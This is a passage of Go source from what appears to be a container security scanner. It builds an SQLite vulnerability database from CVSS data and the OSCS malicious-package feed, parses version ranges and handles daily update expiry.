MaxVersion: cpe23Split[5],
MinVersion: "0.0",
component: cpe23Split[10],
}
if c["versionStartIncluding"] != nil {
scpe.MinVersion = "=" + c["versionStartIncluding"].(string)
} else if c["versionStartExcluding"] != nil {
scpe.MinVersion = c["versionStartExcluding"].(string)
}
if c["versionEndIncluding"] != nil {
scpe.MaxVersion = "=" + c["versionEndIncluding"].(string)
} else if c["versionEndExcluding"] != nil {
scpe.MaxVersion = c["versionEndExcluding"].(string)
}
// Distinguish between Python 2 and Python 3
if scpe.Name == "python" {
var pyv string
if strings.Contains(scpe.MaxVersion, "=") {
pyv = scpe.MaxVersion[1:]
} else {
pyv = scpe.MaxVersion
}
pyVersion, err := version2.NewVersion(pyv)
if err == nil {
py3, _ := version2.NewVersion("3.0.0")
if pyVersion.Compare(py3) >= 0 && scpe.MinVersion == "0.0" {
scpe.MinVersion = "=3.0"
}
}
}
// Filter the special character
if scpe.MaxVersion == "-" {
scpe.MaxVersion = "0.0"
}
if scpe.MinVersion == "-" {
scpe.MinVersion = "0.0"
}
cs = append(cs, scpe)
isFirst = false
}
}
return cs
}
func findName(cpeList []*cpes, name string) int {
index := -1
for i, v := range cpeList {
if v.Name == name {
return i
}
}
return index
}
================================================
FILE: pkg/vulnlib/db.go
================================================
package vulnlib
import (
"crypto/md5"
"database/sql"
"encoding/hex"
"fmt"
"log"
"os"
"path/filepath"
"runtime"
"strings"
_ "github.com/mattn/go-sqlite3"
)
func (cli *Client) Init() error {
// Re-get homedir here
dir, err := getHomeDir()
if err != nil {
log.Printf("failed to get home dir, error: %v", err)
return err
}
var homedir string
if runtime.GOOS == "windows" {
homedir = filepath.Join(dir, "vestadata")
} else {
homedir = filepath.Join(dir, ".vesta")
}
if !exists(homedir) {
err = mkFolder(homedir)
if err != nil {
log.Printf("failed to create folder, error: %v", err)
return err
}
}
dbPath := filepath.Join(homedir, "vesta.db")
var db *sql.DB
if !exists(dbPath) {
file, err := os.Create(dbPath)
if err != nil {
return err
}
file.Close()
db, _ = sql.Open("sqlite3", dbPath)
vulTable := `CREATE TABLE vulns (
"ID" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"Hash" TEXT UNIQUE,
"VulnName" TEXT,
"MaxVersion" TEXT,
"MinVersion" TEXT,
"Description" TEXT,
"Level" TEXT,
"CVEID" TEXT,
"PublishDate" TEXT,
"Component" TEXT,
"Score" REAL,
"Source" TEXT);`
query, err := db.Prepare(vulTable)
if err != nil {
return err
}
query.Exec()
} else {
db, _ = sql.Open("sqlite3", dbPath)
}
cli.DB = db
return nil
}
func (cli *Client) update(v *vuln) error {
for _, cpe := range v.cpe {
hash := md5.Sum([]byte(fmt.Sprintf("%s%s%s%s", cpe.Name, cpe.MaxVersion, cpe.MinVersion, v.cveID)))
sqlRow := `INSERT INTO vulns
("Hash", "VulnName", "MaxVersion", "MinVersion", "Description", "Level", "CVEID", "PublishDate", "Component", "Score", "Source")
VALUES
(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`
_, err := cli.DB.Exec(sqlRow, hex.EncodeToString(hash[:]), cpe.Name,
cpe.MaxVersion, cpe.MinVersion, v.desc,
v.level, v.cveID, v.publishDate,
cpe.component, v.score, v.source)
if err != nil {
if strings.Contains(err.Error(), "vulns.Hash") {
continue
}
return err
}
}
return nil
}
func (cli *Client) QueryVulnByName(name string) ([]*DBRow, error) {
dbRows := []*DBRow{}
sqlRow := `SELECT * FROM vulns WHERE vulnname = ?`
rows, err := cli.DB.Query(sqlRow, name)
if err != nil {
return dbRows, err
}
defer rows.Close()
for rows.Next() {
r := &DBRow{}
err = rows.Scan(&r.Id, &r.Hash, &r.VulnName,
&r.MaxVersion, &r.MinVersion, &r.Description,
&r.Level, &r.CVEID, &r.PublishDate,
&r.Component, &r.Score, &r.Source)
if err != nil || r.MaxVersion == "*" || r.MaxVersion == "-" {
continue
}
dbRows = append(dbRows, r)
}
if err = rows.Err(); err != nil {
return dbRows, err
}
return dbRows, nil
}
func (cli *Client) QueryVulnByCVEID(cveid string) ([]*DBRow, error) {
dbRows := []*DBRow{}
sqlRow := `SELECT * FROM vulns WHERE cveid = ?`
rows, err := cli.DB.Query(sqlRow, cveid)
if err != nil {
return dbRows, err
}
defer rows.Close()
for rows.Next() {
r := &DBRow{}
err = rows.Scan(&r.Id, &r.Hash, &r.VulnName,
&r.MaxVersion, &r.MinVersion, &r.Description,
&r.Level, &r.CVEID, &r.PublishDate,
&r.Component, &r.Score, &r.Source)
if err != nil || r.MaxVersion == "*" || r.MaxVersion == "-" {
continue
}
dbRows = append(dbRows, r)
}
if err = rows.Err(); err != nil {
return dbRows, err
}
return dbRows, nil
}
================================================
FILE: pkg/vulnlib/getvuln.go
================================================
package vulnlib
import (
"context"
"io/ioutil"
"log"
"net/http"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/kvesta/vesta/config"
)
// Fetch get cvss data from Internet
func Fetch(ctx context.Context) error {
log.Printf(config.Green("Begin updating vulnerability database"))
tr := &http.Transport{
IdleConnTimeout: 60 * time.Second,
DisableCompression: true,
}
cli := Client{
Cli: &http.Client{
Transport: tr,
},
}
dir, err := getHomeDir()
if err != nil {
log.Printf("failed to get home dir, error: %v", err)
return err
}
var store string
if runtime.GOOS == "windows" {
store = filepath.Join(dir, "vestadata")
} else {
store = filepath.Join(dir, ".vesta")
}
if ctx.Value("reset") != nil && ctx.Value("reset").(bool) {
dataFile := filepath.Join(store, "date.txt")
dbFile := filepath.Join(store, "vesta.db")
_ = os.Remove(dataFile)
_ = os.Remove(dbFile)
}
if !exists(store) {
err = mkFolder(store)
if err != nil {
log.Printf("failed to create folder, error: %v", err)
return err
}
}
if !checkExpired(store) {
log.Printf("Vulnerability Database is already initialized")
return nil
} else {
log.Printf("Vulnerability Data expired, updating database")
}
cli.Store = store
err = cli.Init()
if err != nil {
log.Printf("failed to init database")
return err
}
defer cli.DB.Close()
// Get cvss data and store to database
err = cli.GetCvss(ctx)
if err != nil {
log.Printf("failed to get cvss data, error: %v", err)
}
// Get OSCS data for poised package
err = cli.GetOSCS(ctx)
if err != nil {
log.Printf("failed to get oscs data, error: %v", err)
}
// Write log
err = writeLog(store)
if err != nil {
log.Printf("failed to write date log, error: %v", err)
}
return nil
}
func getHomeDir() (string, error) {
if runtime.GOOS == "windows" {
dir, err := os.Getwd()
if err != nil {
return "", nil
}
return dir, nil
}
dir, err := os.UserHomeDir()
if err != nil {
return "", err
}
return dir, nil
}
func exists(path string) bool {
_, err := os.Stat(path)
if err != nil {
if os.IsExist(err) {
return true
}
return false
}
return true
}
func mkFolder(path string) error {
if !exists(path) {
err := os.MkdirAll(path, os.FileMode(0755))
if err != nil {
return err
}
}
return nil
}
func checkExpired(path string) bool {
filename := filepath.Join(path, "date.txt")
var dateFile *os.File
var err error
if !exists(filename) {
return true
} else {
dateFile, err = os.Open(filename)
if err != nil {
log.Printf("failed to open date: %v", err)
return true
}
}
defer dateFile.Close()
value, err := ioutil.ReadAll(dateFile)
if err != nil {
return true
}
today := time.Now()
if len(value) < 1 {
return true
}
logDate, err := time.Parse("02/01/2006", strings.TrimSuffix(string(value), "\x0a"))
// Check whether a time format
if err != nil {
log.Printf("Date format error, expired")
return true
}
if expire := today.After(logDate.AddDate(0, 0, 1)); expire {
return true
}
return false
}
func writeLog(path string) error {
filename := filepath.Join(path, "date.txt")
if !exists(filename) {
f, err := os.Create(filename)
if err != nil {
log.Printf("failed to create log")
return err
}
f.Close()
}
today := time.Now()
dateFile, err := os.OpenFile(filename, os.O_WRONLY, 0644)
if err != nil {
log.Printf("failed to open log")
return err
}
defer dateFile.Close()
_, err = dateFile.WriteString(today.Format("02/01/2006"))
if err != nil {
return err
}
return nil
}
================================================
FILE: pkg/vulnlib/oscs.go
================================================
package vulnlib
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"log"
"net/http"
"regexp"
"strings"
"time"
"github.com/tidwall/gjson"
)
const (
OSCSUrl = "https://www.oscs1024.com/oscs/v1/intelligence/list"
OSCSVulnUrl = "https://www.oscs1024.com/oscs/v1/vdb/info"
pageSize = 50
)
func (c *Client) GetOSCS(ctx context.Context) error {
page := 1
resBody, err := oscsRequest(c.Cli, page)
if err != nil {
return err
}
oscsData := gjson.Parse(string(resBody)).Value()
oscsVuln := oscsData.(map[string]interface{})["data"]
if oscsVuln == nil {
err = errors.New("no oscs data")
return err
}
err = c.oscsParse(oscsVuln)
if err != nil {
return err
}
if checkExpired(c.Store) {
return nil
}
total := oscsVuln.(map[string]interface{})["total"].(float64)
totalPages := int(total) / pageSize
page += 1
for page <= totalPages {
resBody, err = oscsRequest(c.Cli, page)
if err != nil {
return err
}
oscsData = gjson.Parse(string(resBody)).Value()
oscsVuln = oscsData.(map[string]interface{})["data"]
if oscsVuln == nil {
err = errors.New("no oscs data")
return err
}
err = c.oscsParse(oscsVuln)
if err != nil {
return err
}
page += 1
}
log.Printf("OSCS updating finish")
return nil
}
func oscsRequest(cli *http.Client, page int) ([]byte, error) {
resBody := []byte{}
jsonPost := map[string]interface{}{
"page": page,
"per_page": pageSize,
}
data, _ := json.Marshal(jsonPost)
req, err := http.NewRequestWithContext(context.Background(), http.MethodPost, OSCSUrl, bytes.NewBuffer(data))
if err != nil {
return resBody, err
}
req.Header.Set("Referer", "https://www.oscs1024.com/cm")
req.Header.Set("Origin", "https://www.oscs1024.com")
req.Header.Set("Content-Type", "application/json; charset=UTF-8")
res, err := cli.Do(req)
if err != nil {
log.Printf("failed to request url: %s", OSCSUrl)
}
defer req.Body.Close()
resBody, err = ioutil.ReadAll(res.Body)
if err != nil {
return resBody, err
}
return resBody, nil
}
func (c *Client) oscsVulnParse(mps string) ([]byte, error) {
resBody := []byte{}
jsonPost := map[string]interface{}{
"vuln_no": mps,
}
data, _ := json.Marshal(jsonPost)
req, err := http.NewRequestWithContext(context.Background(), http.MethodPost, OSCSVulnUrl, bytes.NewBuffer(data))
if err != nil {
return resBody, err
}
req.Header.Set("Referer", "https://www.oscs1024.com/cm")
req.Header.Set("Origin", "https://www.oscs1024.com")
req.Header.Set("Content-Type", "application/json; charset=UTF-8")
res, err := c.Cli.Do(req)
if err != nil {
return resBody, err
}
defer res.Body.Close()
resBody, err = ioutil.ReadAll(res.Body)
if err != nil {
return resBody, err
}
return resBody, nil
}
func (c *Client) oscsParse(data interface{}) error {
valueData := data.(map[string]interface{})["data"]
if valueData == nil {
err := errors.New("no oscs data")
return err
}
for _, pro := range valueData.([]interface{}) {
proMap := pro.(map[string]interface{})
if proMap == nil {
continue
}
if int(proMap["intelligence_type"].(float64)) == 3 {
err := c.oscsToDB(proMap)
if err != nil {
log.Printf("failed to store oscs db, error: %v", err)
return err
}
}
}
return nil
}
func (c *Client) oscsToDB(com map[string]interface{}) error {
title := com["title"].(string)
characterRegex := regexp.MustCompile(`[\w-@/]+`)
characterMatch := characterRegex.FindAllStringSubmatch(title, -1)
if len(characterMatch) < 2 {
return nil
}
pd, _ := time.Parse(time.RFC3339, com["public_time"].(string))
publishDate := pd.Format("2006-01-02")
var cpe []*cpes
vulnes := &vuln{
score: 8.5,
level: "high",
publishDate: publishDate,
cveID: com["mps"].(string),
source: "OSCS",
}
switch {
case strings.ToUpper(characterMatch[0][0]) == "NPM":
cpe = []*cpes{
{
Name: characterMatch[1][0],
MaxVersion: "999",
MinVersion: "0.0",
component: "node.js",
},
}
case strings.ToUpper(characterMatch[1][0]) == "NPM":
cpe = []*cpes{
{
Name: characterMatch[0][0],
MaxVersion: "999",
MinVersion: "0.0",
component: "node.js",
},
}
case characterMatch[0][0] == "PyPi":
cpe = []*cpes{
{
Name: characterMatch[1][0],
MaxVersion: "999",
MinVersion: "0.0",
component: "python",
},
}
case characterMatch[1][0] == "Python":
cpe = []*cpes{
{
Name: characterMatch[0][0],
MaxVersion: "999",
MinVersion: "0.0",
component: "python",
},
}
default:
return nil
}
// Deal with '@/' in NPM
if strings.Contains(cpe[0].Name, "/") {
nameArray := strings.Split(cpe[0].Name, "/")
cpe[0].Name = nameArray[len(nameArray)-1]
}
vulnes.cpe = cpe
vulnes.desc = fmt.Sprintf("Package '%s' is detected as malware, reference: https://www.oscs1024.com/hd/%s.",
cpe[0].Name, vulnes.cveID)
if vulnes != nil {
err := c.update(vulnes)
if err != nil {
return err
}
}
return nil
}